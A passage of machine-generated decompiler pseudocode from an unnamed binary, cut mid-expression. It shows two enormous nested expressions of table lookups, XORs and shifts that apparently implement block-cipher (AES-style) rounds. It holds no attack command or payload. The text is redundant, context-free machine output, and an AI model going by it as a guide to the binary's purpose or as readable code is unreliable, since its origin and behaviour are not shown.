0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x18) * 4) ^  *(0x413dc8 + (_t224 & 0x000000ff) * 4) ^ _t242[2]) >> 0x18) * 4) ^  *(0x413dc8 + (_t158 & 0x000000ff) * 4) ^ _t242[3];
							_t236 = _t236 - 0x20;
							_t163 =  *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x18) * 4) ^  *(0x413dc8 + (_t224 & 0x000000ff) * 4) ^ _t242[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x18) * 4) ^  *(0x413dc8 + (_t224 & 0x000000ff) * 4) ^ _t242[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 